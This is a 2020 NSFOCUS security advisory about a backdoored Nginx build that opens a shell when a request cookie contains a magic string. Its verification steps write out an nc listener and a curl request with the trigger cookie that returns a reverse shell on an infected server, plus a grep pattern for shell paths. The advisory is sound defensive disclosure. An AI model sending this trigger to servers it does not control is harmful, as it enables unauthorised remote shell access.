Update New Nginx Threat Backdoor Alert

Update New Nginx Threat Backdoor Alert

September 8, 2020 | Adeline Zhang

Overview

This is an update advisory. For details, please see “Verification Method”-“Local Verification”.

On July 16, 2020, Beijing time, a competitor published an article stating that it captured a new Nginx backdoor recently which could bypass antivirus software. By the time this advisory is released, the backdoor had not been detected by any antivirus software on VT.

According to analysis, the Nginx backdoor modified the ngx_http_header_filter function in the HTTP header in the original Nginx, and the backdoor constructor has a special method to handle the cookies field. Once a request contains the string “lkfakjf”, the backdoor will connect to the server address assigned by the attacker.

Verification Method

  • Network Verification:

Monitor port 9999 locally via nc:

$ nc -lv 9999

Initiate a request to the local address by using curl with a special cookie:

$ curl "127.0.0.1" -H "Cookie:lkfakjfa0.0.0.0:9999"

If shell is obtained on the monitored port, Nginx of the server has been maliciously replaced.

  • Local Verification:

[Update] The verification method has been changed from

Run the grep command to check whether the currently running Nginx contains the suspicious string "/bin/sh" $ which nginx |xargs grep "/bin/sh" -la

to:

Run the following command under the absolute path of the Nginx process to check whether there is output which indicates anomalies: strings nginx |grep -E '/bin/sh|/bin/ash|/bin/tcsh|/bin/ksh|/bin/zsh|/bin/csh|/bin/bash'

Security Recommendations

Users who use Nginx downloaded from third-party platforms are advised to adopt the preceding verification methods as soon as possible to check whether the programs in their own environment are secure. In case of an anomaly, these users are advised to uninstall Nginx without delay and detect the virus and remove it from the environment.

Please download software from official websites where possible. Try not to download software from unauthenticated third-party application markets or other channels.

Statement

This advisory is only used to describe a potential risk. NSFOCUS does not provide any commitment or promise on this advisory. NSFOCUS and the author will not bear any liability for any direct and/or indirect consequences and losses caused by transmitting and/or using this advisory. NSFOCUS reserves all the rights to modify and interpret this advisory. Please include this statement paragraph when reproducing or transferring this advisory. Do not modify this advisory, add/delete any information to/from it, or use this advisory for commercial purposes without permission from NSFOCUS.

About NSFOCUS

NSFOCUS, Inc., a global network and cyber security leader, protects enterprises and carriers from advanced cyber attacks. The company’s Intelligent Hybrid Security strategy utilizes both cloud and on-premises security platforms, built on a foundation of real-time global threat intelligence, to provide multi-layered, unified and dynamic protection against advanced cyber attacks.

NSFOCUS works with Fortune Global 500 companies, including four of the world’s five largest financial institutions, organizations in insurance, retail, healthcare, critical infrastructure industries as well as government agencies. NSFOCUS has technology and channel partners in more than 60 countries, is a member of both the Microsoft Active Protections Program (MAPP), and the Cloud Security Alliance (CSA).

A wholly owned subsidiary of NSFOCUS Technologies Group Co., Ltd., the company has operations in the Americas, Europe, the Middle East and Asia Pacific.